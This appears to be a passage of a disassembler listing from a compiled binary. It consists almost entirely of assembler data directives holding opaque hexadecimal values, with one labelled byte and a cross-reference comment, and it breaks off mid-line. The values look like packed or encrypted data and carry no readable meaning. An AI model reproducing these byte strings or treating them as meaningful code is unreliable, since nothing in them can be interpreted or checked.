84B77D1Ch, 0A3B3D480h, 2C4738AEh dd 67EDF3B1h, 1F1E61CBh, 0A1D46AA4h, 685B0480h, 0D43B0006h dd 240481ACh, 4A17C8F9h, 74080353h, 338D121Fh, 4BE731C5h dd 0DBBF12C8h, 404D904Ch, 244C0294h, 28B71337h, 712D311Fh dd 74348088h, 0CA2986Dh, 0C3D1A800h, 0BB0D6C50h, 0D72E1C09h dd 0D3575C5Fh, 0E1035190h, 0B9963248h, 39E4E89Dh, 0A40B34A1h dd 0C88B894Ah, 0F6155C0h, 2D068734h, 1E030ABEh, 0C7D9056Ch dd 0A709CD85h, 17C3B727h, 25D70469h, 35101622h, 905696A7h dd 2789C5B4h, 855A7D95h, 6EDE3E5Bh, 0CF2A27C0h, 0F7E4EAFCh dd 30502107h, 4407110Ch, 0E8C10130h, 0EA6F510h, 894C1F0Dh dd 82685803h, 366EEBE7h, 6421F036h, 1BB170CFh, 28299A50h dd 58180621h, 57016813h, 98DC491Bh, 0DA85090Bh, 5EBF03E8h dd 2953B162h, 2924D5D9h, 0D41FD62Fh, 58D7555h, 5F44B351h dd 5D64B02Ch, 0D2EC6D03h, 51B50109h, 0F87A1922h, 3305D621h dd 27455204h, 97E78100h, 14C5551h, 0A78A21B2h, 0C440D74Dh dd 3D4AE67h, 0ECE8D98Ah, 820B9DD7h, 0C06C7FAh, 9D600460h dd 0C4762AE4h, 5D9E9805h, 0F4F18924h, 0BB967750h, 0C03309FBh dd 0FF0F503Ch, 70E5EC36h, 0B9B86182h, 6F18BB25h, 0D71844E1h dd 26889C08h, 1B46DC25h, 0AE755900h, 3C8108BAh, 24DD824Ch dd 37ADF67Dh, 34190035h, 0DD8AE2D9h, 0C4868919h, 882BF81Fh dd 0F1009D66h, 0A40B5632h, 4E6346E4h, 518E327Ah, 4C22240h dd 0B389A95h, 90DBD295h, 80ED7D16h, 205F5089h, 4600F6A2h dd 53917331h, 9D988FC5h, 0FDFEF717h, 0F6BC6FE9h, 9D318809h dd 4E4BFA85h, 332F4986h, 46638609h, 0C76E5E5Bh, 0A7026D3Fh dd 0C9B3656h, 2611BDC0h, 0FB490391h, 0E00A700Eh, 0B04A9202h dd 0F56050A0h, 15B784h, 0C830BF66h, 678BBC61h, 90996429h dd 6E4ABB43h, 50735419h, 0B530C72Eh, 0B240534h, 64251D9Dh dd 0D1A18153h, 96B6782Eh, 32B84E25h, 48013111h, 0FB472D0Ch dd 37D9D8DFh, 3791506Bh, 0F0BE89C4h, 23686E8Fh, 6821F92Eh dd 6A16BB01h, 0CEBE5365h, 9B6B9251h, 9E05C2A5h, 32F92A0h dd 13AA2CAAh, 0ED21AD5Ch, 1F22E894h, 0C28FF4E5h, 3509B529h dd 211FB908h, 8A0240A0h, 618C4F95h, 0D40782E1h, 0AE09DA10h dd 82DC8AD1h, 7D16151Ah, 0E50048BDh, 0D023CB8Dh, 4983027Fh dd 2179BD89h, 0C6FEC990h, 0D5D8C4B3h, 8E660255h, 0AAB074D9h dd 7005C51h, 0E773DF7Dh, 1EA52E44h, 0CBDD1B38h, 0BB042370h dd 52969A56h, 148B82BAh, 0F3BDE900h, 6E3BE3FFh, 6D220272h dd 0DEC18B86h, 28FADC68h, 0A7EFC701h, 0D514127Bh, 9FFD9A45h dd 3FE9DD4Ah, 0A181809Ah, 0F8B574FCh, 499A3A73h, 0E2502940h dd 5BB825B3h, 7827FC63h, 51CAD3B1h, 0BC21819h, 0FA7384BCh dd 5B234B7Eh, 5255758h, 0F673C01Dh, 7E54F294h, 0D56E0F01h dd 7480D972h, 0A5918EF6h, 0BB91FE77h, 63072B95h, 0B8D4AD9Dh dd 0FC608B93h, 0C562EF22h, 0F22014E9h, 0FFED7Ah, 797D1197h dd 0D643AE5Ch, 0B12AE900h, 39A23F58h, 9D6150D2h, 0B3560252h dd 310F5B1Ch, 211F89C6h, 51C0CEC9h, 57E85AFBh, 321E9DBh dd 1BADB204h, 0B40023B8h, 7DFCF83Ah, 4181B509h, 9E3C6111h dd 72A58952h, 0DB3BF166h, 33C0C0E2h, 16D40E99h, 9CC7E2Ah dd 3E299DCDh, 916B3577h, 0D7B38118h, 40F2FA8Ah, 8214C942h dd 6060A956h, 3E7AE080h, 0E5253153h, 8259DE05h, 0B75DD16Ah dd 5D0D041Bh, 0A27AB8D1h, 0C257CF7Eh, 0AEC17BBFh, 25CD2249h dd 70A17302h, 0B325C2C4h, 7A5D150h, 901008A3h, 0FD623393h dd 5C1A1E25h, 0B40160B6h, 65092C10h, 7DFFBF6Dh, 0ABDF8D32h dd 0F10332AFh, 85680033h, 0DA7E90EDh, 0CAE95B12h, 8A8975E3h dd 0CFF3A829h, 937BA70h, 9D33BB49h, 66A55256h, 810F244Bh dd 0C2E449F7h, 65D99100h, 0EB473208h, 0A7DC00CEh, 0FBDD1C1Eh dd 0AB868B0Fh, 66043EBFh, 60FEDE31h, 0FCD46E61h, 1280BCCh dd 17EEE3CCh, 270120A9h, 66A64EC4h, 87FEA9A0h, 8E298C04h dd 99B9761Ah, 253C6C94h, 5B998A4Bh, 48891D9Bh, 0B5ADB473h dd 0DDE00396h, 0CBF884D7h, 120B6695h, 0EDFF6A5Ah, 568EC01Fh dd 85016EBFh, 0A10BF953h, 0C87E2951h, 0BD168BB3h, 0AC5734D9h db 90h db 6Eh, 0BFh byte_544547 db 29h ; DATA XREF: ___:off_44721Co dd 133F000Fh, 0A8DF2CE2h, 4B5CBE4Ah, 0AC945F9Fh, 22699E04h dd 0A4A7D6B8h, 14692101h, 38827E09h, 70E60205h, 4B6580F5h dd 9071E483h, 97D84B0Dh, 0B90104DBh, 6CAB8078h, 97EA0DEh dd 1D5E76Ah, 7197E670h, 1DA40B69h, 1D4866D6h, 0D5D4FF80h dd 93CB690h, 5F910249h, 856195F4h, 0C1120139h, 3ED87AE1h dd 0DCF76D90h, 88547B16h, 0D4003ABBh, 0C82B57F0h, 0E1559D23h dd 0E5D13D9Eh, 67EF5240h, 5E1F6D77h, 0F8535B61h, 77315188h dd 351B659Dh, 1242BD85h, 2EA2870Fh, 27508029h, 29765C5Ah dd 91284D2Ch, 17F354Fh, 0E6D27F99h, 47BB5B3h, 0D269D3Ch dd 0F2382C5Bh, 0E310B912h, 121521F9h, 92D248Dh, 0C1E4FAC5h dd 1D79F580h, 0DD2BF981h, 1825C56Ah, 0E5224584h, 0FE1543A5h dd 14854619h, 7C579539h, 66410474h, 2F8177BBh, 0A9A0661h dd 8041DB05h, 5FB91699h, 85116C1h, 9DBF42FEh, 39751C91h dd 70AF29F0h, 85B99401h, 0C697A80Eh, 0E4CBE7E6h, 2E0E62FCh dd 0BDA6F6FBh, 0D01980E1h, 6809A80Dh, 60F4BA02h, 3FC02B7Fh dd 1ECA8D89h, 0E6D21685h, 0F713E026h, 2C0B075Eh, 0A95B6CD6h dd 0B569F773h, 3C5089A9h, 1D5FC450h, 6180C89Eh, 0D9ECEACCh dd 0BC012A05h, 58A8D5CDh, 0E5BF0F1Ch, 0F6BB1AE4h, 4EC64D70h dd 4FB5B3A9h, 92CE43C3h, 49A45D95h, 4081F361h, 6825D3F8h dd 0BDE5C6E4h, 13C0EECDh, 239CD78h, 67A3BA6Bh, 4D662107h dd 1662B124h, 89083201h, 0E22BB69Fh, 57E400B8h, 4F1812F7h dd 0BF9801CCh, 1C0949D7h, 2B2B2F5Bh, 95336004h, 11DB03Dh dd 1119851Ah, 51E356EFh, 0DA77AC94h, 0C5DD16DEh, 93A784A9h dd 0E784B855h, 0F822B076h, 4CF50494h, 0BC31FC8Ch, 0AAC8D624h dd 996800E5h, 5DE451A5h, 3728F762h, 3102FB7Ch, 3664DE08h dd 85376049h, 0E1FF8015h, 3F379Dh, 0ED68894Bh, 0FF4BABF5h dd 0F112F38Ah, 0A14AA703h, 282ECEE8h, 47D4E2D2h, 0C5D82586h dd 219C18D2h, 0FE158B51h, 0AD3F605Fh, 0C16F4DC1h, 30062CDAh dd 2D4F118Fh, 9A4A95B6h, 0C69480F3h, 1C4D2DC2h, 0A28E0F6Bh dd 1440BD94h, 27B8026h, 0B31F8315h, 0D782401Ch, 580907BDh dd 785093D4h, 24976E85h, 0CD5709EEh, 0B817698Eh, 5753023Bh dd 0F4EAC41Ch, 5669D45Ch, 905D329Eh, 910FCCC6h, 2160E99Ch dd 52501E5Dh, 3172E1DAh, 97D94430h, 0BA85AC29h, 3439C090h dd 0A3D3A138h, 5232D82h, 0FF9488E8h, 501F0338h, 0FA8B11ABh dd 1AA2005h, 4612023Ch, 0C38C820Fh, 0F2D5D68Bh, 4D61018Ch dd 958AE8F7h, 1C4B63D4h, 98B78D8h, 3FCA5F52h, 3F006751h dd 36A33BEEh, 2069048Eh, 0A9585FC1h, 1FE6B8FFh, 416FA537h dd 0CB8032D9h, 78302AA8h, 1246E781h, 0E316CD28h, 0C0004887h dd 5A0B5CC4h, 0C8F618h, 894D8B8Eh, 736DD12Ah, 45480D02h dd 5597E924h, 0DB2E22E4h, 0F3264529h, 935666A5h, 0BD17787Eh dd 125D485Ch, 4FE3C4DEh, 0C5BF127Ah, 7936E13Bh, 1ACEC15h dd 9A78AAB1h, 60B470EFh, 2841E9BCh, 35001933h, 55E58D87h dd 0C64BD6F6h, 0BC183F8h, 220B99Dh, 69565C5Bh, 26BD8F4h dd 0D115D3Dh, 39C303Ch, 290B548Ah, 3BD64BA1h, 9E7B32D4h dd 3FEDDC0h, 2B044687h, 0C4D34596h, 10E511Eh, 8C1ABF50h dd 367809DDh, 8997B71Dh, 897FB59Dh, 0B61B58CFh, 6B7CF6D3h dd 0D2703D06h, 2E84EC1h, 72D968F9h, 0C5CA223h, 0FB912602h dd 70A57B5Dh, 1902A4EEh, 0F380C86Fh, 6D295CB3h, 0E926AEEh dd 857190h, 106ED0ECh, 0DA16B6C6h, 0EE25094h, 0BC09643Eh dd 0C7D089F2h, 9DAC5D90h, 0DC9696h, 0B393D0E7h, 98C8A130h dd 12616148h, 6E74A34h, 0DCFF71B4h, 27E901A8h, 3207382Eh dd 18F6C19Ch, 132CE919h, 0B50830Fh, 5448C06h, 33C909BBh dd 0B712C7Bh, 2E4D27D7h, 0A0B7F4C0h, 0E3623F91h, 0FDE6CDA7h dd 0A5953108h, 987242Dh, 2F7118B9h, 5F044BC2h, 3F00D6BDh dd 603236AFh, 81DD008Ah, 4BA73AD7h, 0FDA56102h, 4F041589h dd 0BCE340F5h, 0BD2533D7h, 0B9E8781h, 5309B967h, 3A63AD93h dd 5D5CBBD2h, 5DEB368h, 0A0680680h, 0F482FF18h, 690C5CF5h dd 34DF3887h, 25AEE38Fh, 0BE5FC6D9h, 4504DC39h, 21B31208h dd 29EDA781h, 0CA509601h, 2B39A1E1h, 7189D05Dh, 68685928h dd 0A1007E77h, 95741C27h, 980B6797h, 85E90510h, 84719D89h dd 9998AD28h, 0A22AC19Ch, 5A8C420Ah, 0F1E4BDB6h, 0A96CAF65h dd 0BD995AB1h, 601211BDh, 9E2A94E1h, 0D1B3C05Bh, 62E9134h dd 0EFCDFE2Fh, 5D7BFA51h, 2F385F81h, 1A7F89C9h, 9CC99045h dd 0D7A10999h, 0BF700178h, 0E8EF811Eh, 0C24BA53Ah, 123757B3h dd 805CCB01h, 203F4291h, 62D6CAF9h, 447DE3F2h, 24C61E00h dd 872C4A86h, 0DB18971Ah, 2611DF80h, 0D3000BE9h, 0F75E8B01h dd 963A9EC3h, 0CA8F2576h, 58BD5FCBh, 0E8292E00h, 90F98F5Ch dd 806BB198h, 5B7F58F1h, 543F737Eh, 458EB86Fh, 0F46E50EFh dd 810642EDh, 9D2355B7h, 757E18D9h, 802CBC3Fh, 0CA7BBF89h dd 7EB8035Dh, 9C6FAD32h, 889F4896h, 0D3A47E3Ah, 0B43B5900h dd 4108712h, 0DF8B81B9h, 0FEE8A45Bh, 0E605080h, 0D5120CBAh dd 0F0E276h, 0DC7CE203h, 625C8Dh, 94344EC0h, 61706551h dd 0F209963Eh, 4B652256h, 821D7CF0h, 64DE5C0h, 0B7F23A97h dd 0E6985AAh, 0BE22C364h, 0A712BCA4h, 75C1A778h, 0BA500310h dd 75C7EADAh, 0E916DD37h, 23D701EAh, 580CADBDh, 9D263178h dd 6AA5CCE1h, 0F4BDFFFDh, 7400FD3Dh, 0B460853Dh, 24D941BFh dd 88D35AA1h, 5B140739h, 8535C0D4h, 0F65E28h, 201DC5C9h dd 0AE793F75h, 2554B652h, 951EEEFCh, 6241194Dh, 0AAD98B38h dd 0E72FC341h, 571C282Fh, 848BB28Bh, 0FDB4E81Fh, 49160069h dd 2E90FD54h, 0FF00C738h, 0FC0EF1C1h, 25D37EBBh, 15E65BF9h dd 79B740BFh, 53608233h, 0C67061F2h, 786D5B95h, 9204254Ah dd 599D035Dh, 0CB4A41E8h, 256E4EE9h, 0FE0BA000h, 814F6371h dd 4B79E301h, 6FE91D5Fh, 0E205162Fh, 0DEB10089h, 36200853h dd 778027Dh, 1680AB68h, 17D5F782h, 886B0E2Dh, 0B7BFC13Dh dd 53580B8Bh, 0B85BEA24h, 0D3E0D7FDh, 0BB908032h, 395E4809h dd 20855033h, 0F84B310Fh, 2594DECh, 0BD05F2BCh, 29B52A75h dd 344B13FAh, 0E383AE84h, 0F4ED4A02h, 2541758Eh, 8708AA87h dd 8157F4FEh, 7C76D83Ch, 0DE052514h, 502B336Eh, 0E1E31E12h dd 4BB7C3A0h, 0BD91172Dh, 0C5C70EA0h, 0D6F9F3A3h, 78253BBCh dd 0B557CEFCh, 3C0077B5h, 1A681030h, 0C95607C0h, 198D7865h dd 9C3FD5h, 7A1299DFh, 0E528690Dh, 7120B589h, 0D1FF2516h dd 2BA9CA90h, 0C4E6ED12h, 0A8885EE2h, 0B19467Eh, 0F8BE79h dd 0DDBB54DBh, 3E2E2FB7h, 42E0CAE0h, 0FF026A26h, 0F6B112DEh dd 2EA2A80Ah, 920FE790h, 69BBA026h, 0F728EE5Fh, 80AADB6Eh dd 39522606h, 9C540B22h, 562BCD42h, 95D8C0DBh, 0E7F6C2C4h dd 0AB5450F1h, 88E31C12h, 0FED00B93h, 1F458DF8h, 0AD4989D9h dd 3F22202Fh, 0D1952423h, 0EA070031h, 0BE1BD6D5h, 501FAA07h dd 98BB3708h, 7444882h, 0B6BA3464h, 2E5AC166h, 98352E22h dd 0B220A1F1h, 50104015h, 81057EC8h, 0CA5CECBFh, 2BAB2571h dd 6EFF4B64h, 41B82DC1h, 0B73E1561h, 6DDB4A6Ah, 80CF1888h dd 21109FD3h, 2BFF09BBh, 76731222h, 0C7A0D83Dh, 2463290Ch dd 0C1E6F84Eh, 7CBAFE1Ah, 0B1A740CFh, 0BFA71662h, 0C41F5CDFh dd 5DE25615h, 0B516ED00h dd 8D7E4D3Eh, 2FC3D600h, 0ADCB777Dh, 38B3712Eh, 8009B055h dd 2D700EDBh, 0E904BF71h, 0DE8B71E4h, 0E7302BB9h, 159D2353h dd 0B6852662h, 0E9D685C8h, 9C7B89F1h, 0C18817A3h, 0CEF0481h dd 0B858F5CEh, 80E15C11h, 0F97E21B0h, 83404BC8h, 81B52B16h dd 89276188h, 78AD143h, 720A1A5Bh, 53972160h, 0C87007B3h dd 7074B201h, 0D3AB09FEh, 0BF051471h, 1E9412C6h, 53EBE484h dd 0D4F1CD00h, 344BBDB5h, 44E90E88h, 0D801DD08h, 1C5E4E4Ah dd 20A7311Dh, 0B9DEE984h, 86212205h, 727A00E3h, 0B9329278h dd 0CE039973h, 0A1A659E2h, 916E5FE6h, 853BE979h, 10D78033h dd 0F82A32BBh, 0B80FCB84h, 0A725880Fh, 0A73F48D8h, 18A528F4h dd 139DFE58h, 5F9416C9h, 23517607h, 250B45D3h, 12CC5F0Eh dd 181AED20h, 19018A0Fh, 0D3956AF8h, 0B2887809h, 0E8CF54Bh dd 0BFB373B9h, 0FCE19998h, 0F0BD36E3h, 9559774Bh, 0BD2B9310h dd 28146949h, 1500BBAh, 54823080h, 76827ADFh, 9556E676h dd 522FCE48h, 20604B2Dh, 32486475h, 0CEF08700h, 39130CDBh dd 80C33881h, 0B2A8C492h, 30A75B83h, 9EFB22A7h, 3A958558h dd 52AD5B9Fh, 0A6FAE875h, 0C5DA16C1h, 1D4AE660h, 59E58D9Dh dd 56537AB4h, 0AA7670h, 8157CA07h, 0AB8E97DBh, 655B1A25h dd 0DE8516A2h, 71E8C95Dh, 0A04E000Ch, 990F338Eh, 0A4FA509Fh dd 0A96D9715h, 0EB9273E1h, 1F34822Eh, 0D6CD5409h, 0E4001C46h dd 0F657DD60h, 0C45826A0h, 84E12763h, 38AB0FFAh, 158B1186h dd 1331D18Ah, 19110188h, 5268BF02h, 0FD8461A7h, 0D95308Ch dd 8531802Eh, 2512554Dh, 3C926561h, 0DC72D768h, 0E21B5A01h dd 0E31A9DA4h, 126660FCh, 0B190C6BBh, 0CF64208Eh, 62094725h dd 7095D357h, 3D122055h, 5AB4F899h, 0B6017011h, 0AE05DE10h dd 8E6A9FCDh, 0C24BD9F3h, 54091F7Ch, 8E8ED632h, 7B39BD00h dd 0B2D496FCh, 842E5BE9h, 0E91AA118h, 9D011054h, 3F6BE925h dd 3162353h, 0FEB4399h, 9FC515FAh, 7ADA7400h, 5C9FB605h dd 200F9DDh, 0AA5AED17h, 680165D3h, 12F69472h, 802AD98Bh dd 0E9978DFDh, 769B2EF3h, 0E09A5B80h, 2A058202h, 0A4C0589Ch dd 0BC1A8F8h, 217C5BDh, 5D818260h, 8E0F0228h, 57B6616Ch dd 0E1CC6197h, 890E25B3h, 0E0BE134Ch, 199E985h, 95FE4588h dd 2BFC6299h, 5C34134h, 8D534AA5h, 62FB2043h, 43C12212h dd 892C06B3h, 0D0A19DDh, 7B406106h, 0C624DC55h, 0BE19C58Dh dd 0DE7A24E0h, 74B44190h, 260D709h, 7D066DE5h, 0B300646Ch dd 0E1663E2Ch, 76B48Fh, 0EEF36281h, 63E2A867h, 58E3E8F3h dd 393B6148h, 50961C6Fh, 0BFA5B65h, 8DC05FD8h, 969522D9h dd 0D4CC941Ch, 72FE9A02h, 0E626F834h, 498D00B6h, 38F06F1h dd 680466E8h, 22A29097h, 3F57F9E1h, 0D5BD93B3h, 5E097B6h dd 7C1C1CAFh, 4E406FF6h, 0DE8BD98Ah, 0CF855E8Dh, 0C016C859h dd 90481F52h, 0AFD29097h, 0E86300BCh, 0FD5ADEC6h, 504BAA46h dd 384470C8h, 10097E16h, 0B002EF98h, 0B757905Fh, 0A63200F2h dd 58525FB4h, 5820605Eh, 2FC590DAh, 2B5AA1EEh, 6A0766FCh dd 89A0BD7Fh, 120563Fh, 4AF98D09h, 49FA720h, 61FBBF0Fh dd 2AB954F9h, 0C85E9E8Bh, 8402F97Bh, 0E44508DEh, 758F42C1h dd 9D5189A9h, 0AF905D69h, 0FE008419h, 6542C434h, 1DE8A23h dd 7E18BB76h, 0DAB3C892h, 5359E9FEh, 0BB66203Eh, 98918B93h dd 887B3587h, 8197790h, 61A400B6h, 0EDB43C13h, 0FFA08A89h dd 0E9F68194h, 0A7B4A4Eh, 70F6102h, 446A9159h, 0A1BD6677h dd 9FEB5E6h, 2DD7B351h, 945EF490h, 9AB44301h, 7684D123h dd 0E93101CDh, 3F098EA5h, 0BF82F3B7h, 82EC0D4Fh, 618D2DDBh dd 8F2A25D0h, 45F13EDh, 0B8E8F3B9h, 0E41C7700h, 0ECBF667Eh dd 0BD659534h, 0FBE70493h, 0B0DB52A0h, 82051180h, 2F695960h dd 8BE2E8BCh, 69B656DFh, 9823A79h, 562F7185h, 0DEF6E912h dd 96D91060h, 9AA802CFh, 67702BFh, 0EDEBA256h, 0B7D941FEh dd 60176093h, 8B7BB107h, 818061CFh, 5CE08FD3h, 9D0961B2h dd 0A05B2ED1h, 0B41C1A79h, 210B7074h, 260C70Fh, 51E29AAh dd 2C93C231h, 0B71EAD0Ah, 13A666E5h, 0D2399D33h, 62DE8F5Ah dd 0FE445449h, 52E8AF00h, 0B53D64BBh, 0E9F29593h, 61AB9E16h dd 0B4A39E12h, 0ABC48925h, 819E1895h, 0AE9809F3h, 24C65B28h dd 9E78059Bh, 0EB570138h, 800F7ABEh, 70EB140Ah, 0B78CBCB6h dd 9AC50E4Ah, 25B8E8EDh, 31BD1600h, 0B7515698h, 0B88995F7h dd 5AA5CEB7h, 0C5D73E3Fh, 128E47A6h, 5AAAB3FBh, 9515B9F0h dd 0F84F686Eh, 6FA065E7h, 0EE4A16B4h, 4E715DE7h, 0E82CA91Ch dd 6F5D00ABh, 544538CCh, 9D100929h, 0CD5F242Dh, 46A3AFEh dd 307FEE16h, 9B01435Ah, 2116710Eh, 0B70AA024h, 131CEE6h dd 0C38FC64Bh, 498CEE36h, 80807C6Fh, 626E7288h, 25D3016Ah dd 55D63781h, 0F7C9F099h, 8A354404h, 97AC5FFAh, 0F0F6B693h dd 955EF171h, 74459394h, 99005963h, 0F7805257h, 92018945h dd 0C5CA93B9h, 6E60C690h, 0B710BD60h, 0E2B8BED7h, 0C8321B00h dd 6F5B7E73h, 52502A3Ah, 9B610073h, 0FFBBAB91h, 0E139F855h dd 0ECA80169h, 60267497h, 0B3A6047Bh, 57D4FE8Ah, 0B79BD012h dd 0F0FBF782h, 1C29047Dh, 7E14C017h, 85995B24h, 8ABE3549h dd 209D5367h, 0DF803C1Bh, 572AD2D5h, 0E067F6F7h, 1722237h dd 14D3630h, 3317B9B5h, 0FAA996DFh, 9B054AA8h, 9D034320h dd 9556D7C6h, 6B600099h, 8529D407h, 0FB29F799h, 4D46E751h dd 6E438D57h, 0DFB23A42h, 5369E856h, 331AD8DDh, 3025B02h dd 3C18B1BDh, 12D44BBCh, 0B1EEE978h, 339B3FD2h, 0CAE9B680h dd 0A54CE073h, 69F904F9h, 0E8A9C18Bh, 0DC0114B8h, 0F1853425h dd 0DA6AA50Ah, 0C118C8C0h, 61F032F3h, 359041EEh, 0D8A064CBh dd 29094A76h, 24323195h, 8CAA5006h, 6A95562Fh, 0EF37FDE4h dd 5AC6E709h, 23D715C3h, 0A31807F9h, 95F5DCF2h, 0C407FE25h dd 52789790h, 0C89CBA07h, 0E670F08Dh, 90EE7AFDh, 0DC92F5Ch dd 5561AC4h, 6CADF0DAh, 0EB01258h, 0B1D5A14Dh, 26B562E9h dd 40EB8000h, 1D8B60CFh, 0DE037625h, 0B55AA616h, 223130F8h dd 2AECC75Bh, 1AC880DAh, 3C8B8FC0h, 56A51D4Ch, 559D84A4h dd 8270AB26h, 93D1FFF5h, 3AB97847h, 49398B00h, 89E6A9E5h dd 0E5D2F9Dh, 1F117EA2h, 45295909h, 0ECAFE96Ch, 45BF3F53h dd 2B0A5703h, 0F7B06054h, 0EE48FF8Dh, 6DB9005Fh, 26A61A6h dd 0BB9000F9h, 158FB896h, 0F379B350h, 7DC0FBEh, 0B27FC3Ah dd 0ED0F84BDh, 28B7C4CAh, 0C178F182h, 392BB5A5h, 6932A8EDh dd 0C467CD97h, 0AB84AF9Dh, 0DA8BB245h, 0D4B8AFF9h, 7AC04E03h dd 8F49B5D3h, 9D0071A9h, 44CDD629h, 888A500Bh, 0BD5B0180h dd 8A4A90A9h, 12A94AFAh, 139020A8h, 5907CD25h, 0C8D64961h dd 77D7F20Bh, 1492D835h, 6ACDE860h, 753795FFh, 0E112D605h dd 3391BF81h, 81FDDE6Ah, 0C4542A8Ah, 1817622Eh, 0C1B58920h dd 0C64B508h, 2CCB8109h, 11087095h, 1609C7BBh, 0DF52F59Dh dd 2AE20CB5h, 0EF28163Fh, 70F9A309h, 5E50970Dh, 414C2347h dd 0C5176748h, 9249B818h, 301E07F2h, 2F6149F4h, 0A4320671h dd 8B82A2E9h, 0F349D0D1h, 15CD0778h, 6FEF31DBh, 20EA6AD5h dd 0A84A3A99h, 55F58F00h, 0EDE02B06h, 5284003Dh, 0CE2F7EDFh dd 948E5D8h, 40094F46h, 4A06705Fh, 2531F851h, 0BD095925h dd 17D59D08h, 305927C4h dd 3E4E3885h, 68A9460h, 1D14880Dh, 91499729h, 2350E961h dd 0D0EF0B3Fh, 557B6228h, 801297C6h, 83C2B9F7h, 1EB15524h dd 221E1630h, 0A5502B41h, 419DFE1Eh, 742E3307h, 539F1F80h dd 219E240Ch, 0DDBD339Fh, 6C0CA531h, 24D3201Ah, 9F6BC94h dd 5595C29Eh, 44AF1571h, 66BF3D50h, 0BED0E00h, 8F5ED315h dd 0C7544B03h, 0F0CD591Bh, 2FB9B1AFh, 0F6BD0804h, 4BB56501h dd 0F894F09Ah, 0FCC9AAB9h, 0A7C0A24Dh, 27BE3BBBh, 8AD9F44Ah dd 7DC86C00h, 0CA8D2Ah, 718B72BFh, 3FF26266h, 0A705DC75h dd 0FC9FB338h, 0DB8C4E9h, 97259102h, 0D72ED2F7h, 12807985h dd 4B95E9ECh, 86BD9557h, 0B902B4BCh, 4C65E55Dh, 49B45C9Ch dd 8BE2AE59h, 0EF81EDFBh, 0D64287A0h, 129767AAh, 8F8C71CDh dd 37120F56h, 2B99D2AAh, 5F2194D5h, 0AC01C423h, 4A89BD73h dd 0BD5D0109h, 56F2274Ch, 195D0F90h, 77CA4A41h, 195B6C25h dd 4BA0ABD8h, 21E182C5h, 9229EEB9h, 53E2086Ch, 1C6BD3h dd 4EAC0232h, 41758D89h, 5B4662Dh, 8E0FE1FFh, 0B3482BA3h dd 225ECA4Ah, 25E49057h, 5EC732A9h, 0AADE5F16h, 0F694E3C1h dd 2A7F2053h, 14975BE2h, 59F84369h, 0ADAC5Dh, 0EA49F4AFh dd 2E8A1347h, 5810F13h, 0FA54DC61h, 37D5FB02h, 4D4E81F9h dd 2B29B68Eh, 0D8AF4284h, 0F23CA74Fh, 0C282A5B2h, 190486A2h dd 910CC4E5h, 65AB08h, 0BD8072DAh, 885F6A46h, 0AB2DC6E4h dd 491A5489h, 0C862B25Ah, 56F98B33h, 3F826970h, 945C2C45h dd 40D118ECh, 60005025h, 0F5BFEFB6h, 0B5417BD9h, 748810F2h dd 0F618DE0Ah, 9C4F449h, 0C0C15F9Dh, 4BF268AFh, 0BBDCCB1Eh dd 2C9C0585h, 0D0535FCh, 0BE2353B8h, 6A0B906Fh, 9302158Eh dd 8001223Dh, 882C29F3h, 0C196DE5Bh, 8E86093h, 0D2913010h dd 73A4F80Fh, 79A3779Ah, 0C50592Fh, 382F6922h, 8DCB61F7h dd 93B44369h, 3830E991h, 9BB3A89h, 710CFF80h, 27BAA069h dd 0FEF92639h, 0D4DBFC69h, 0C07F6E2Fh, 97EEAE00h, 377B8A12h dd 0B6ACC78h, 0EBA4F09Dh, 8160095Eh, 25373ECBh, 0B1CA1FE0h dd 403F4FD5h, 374640CCh, 1652850Bh, 0C4E78E8Ch, 13562C21h dd 0D820AB83h, 1C05FB2h, 0E78AC2A5h, 0E84655B5h, 0E3273EF3h dd 4AE1D820h, 4BE5A75Bh, 0CC81829Ah, 0EC2278A2h, 914DEE7h dd 78ADFE4Bh, 47A66212h, 0D5360DF1h, 9A077AF0h, 0AA0AF409h dd 0F85FE4A3h, 0AF67007Bh, 30F16BEEh, 0CFFC58BFh, 2CE29948h dd 0B11AA5Bh, 0B781603Bh, 459D33CAh, 84C23C0Dh, 0F353068Bh dd 98135A94h, 5500C3A2h, 0E659A29Fh, 0EA257D08h, 7D1AE2B3h dd 0E88069BDh, 9F7580E0h, 63650982h, 49769EA3h, 0C931D70Ah dd 68A93318h, 6FDF70A4h, 4E531EE1h, 1E445B0Fh, 0C0ECF81Fh dd 33F63807h, 27E72F7h, 34BDABE3h, 46F56A9Dh, 240158FEh dd 0B85F0234h, 6FAF9215h, 88010091h, 8BB19B41h, 445598D8h dd 344A0709h, 204A14F6h, 0A84EEC72h, 89B51313h, 764C7DADh dd 0C5A61A16h, 0AB6BAB9Fh, 823B1923h, 0E842992h, 0B1FBC0D9h dd 0E6F7D311h, 0CEB4E001h, 8BB14B57h, 3BBB0FE6h, 65257ED1h dd 0E72416AFh, 7B007036h, 0BDB95495h, 0FD288Ah, 0F24D6A1Ch dd 0A6AC3A10h, 0DE111E77h, 0F15A21E9h, 0A43B2BE3h, 722109E2h dd 77F46C02h, 66D113D5h, 40F2A8C2h, 5925B5FCh, 117CC723h dd 0C5F14B86h, 7634AC0Bh, 0CD6EEE21h, 634AF05Eh, 23098872h dd 0FC07C9BDh, 2AE158A4h, 27452084h, 854A9095h, 5F5D00DBh dd 413953C5h, 0C44A165Ah, 5C30C6CDh, 2B0A45F1h, 73045625h dd 25BA50DAh, 0C7C9AED8h, 0D1108EF8h, 0A2003617h, 436C7ECAh dd 0C10D7B0Ch, 0E8152A55h, 9B2B5821h, 0C5E18049h, 0EF3F5A5h dd 6076F781h, 115659E9h, 9F100055h, 424665B7h, 0F84B5F77h dd 9B2E628Dh, 0B13585E5h, 0EE018Ch, 1EC9D18Eh, 0B238530Eh dd 0DCC8C509h, 82FF8219h, 9C02806h, 2C7B0B61h, 55203EA8h dd 0ECBDEC2Ch, 2665950Ah, 44676DA7h, 79D7834Ch, 0FBA3514Ah dd 0AD74845Bh, 1AD78397h, 806DC8F4h, 13C74ECBh, 2D7BEA0Eh dd 0AF6AF600h, 0F32DE06Bh, 0B108834Fh, 4C2892Bh, 627A947Bh dd 258A567Dh, 0DF00EDB7h, 2878487Ah, 0B7D65ADBh, 626A4A0Bh dd 6DB9A400h, 39985A8Bh, 0F156082Fh, 46600143h, 0EC5107D7h dd 860B0BA8h, 58CA18A7h, 5B23404Ch, 0C0BC1A97h, 2D29A7D6h dd 504F5DBFh, 0DBC1E54Fh, 183A08AEh, 0BAC1022Dh, 76AC42B4h dd 0CA17FCCCh, 978DC91Ch, 41E75E83h, 0BA0950E5h, 0A47387D1h dd 4482290Ah, 9BF8041Fh, 0C01788EBh, 0A4AD790Ch, 3C818EB9h dd 